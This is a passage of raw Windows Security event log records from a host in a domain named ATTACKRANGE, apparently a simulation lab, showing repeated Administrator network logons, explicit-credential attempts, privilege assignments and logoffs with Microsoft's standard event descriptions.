WIN-DC-725 - Logon ID: 0x31538 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245860 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245859 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245858 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2F0BB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2F0BB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245856 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245855 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245854 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EE40 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245853 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EE40 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245852 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245851 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245850 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EA0B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245849 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EA0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245848 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245847 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245846 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2DBD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245845 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BEAD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245844 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2C293 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245843 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2DBD8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245842 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2DBD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245841 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245840 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245839 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2D9BE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245838 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2D9BE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245837 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2D9BE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245836 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245835 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245834 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2CA1C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245833 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2CA1C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245832 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2CA1C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245831 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245830 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245829 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2C293 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245828 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - 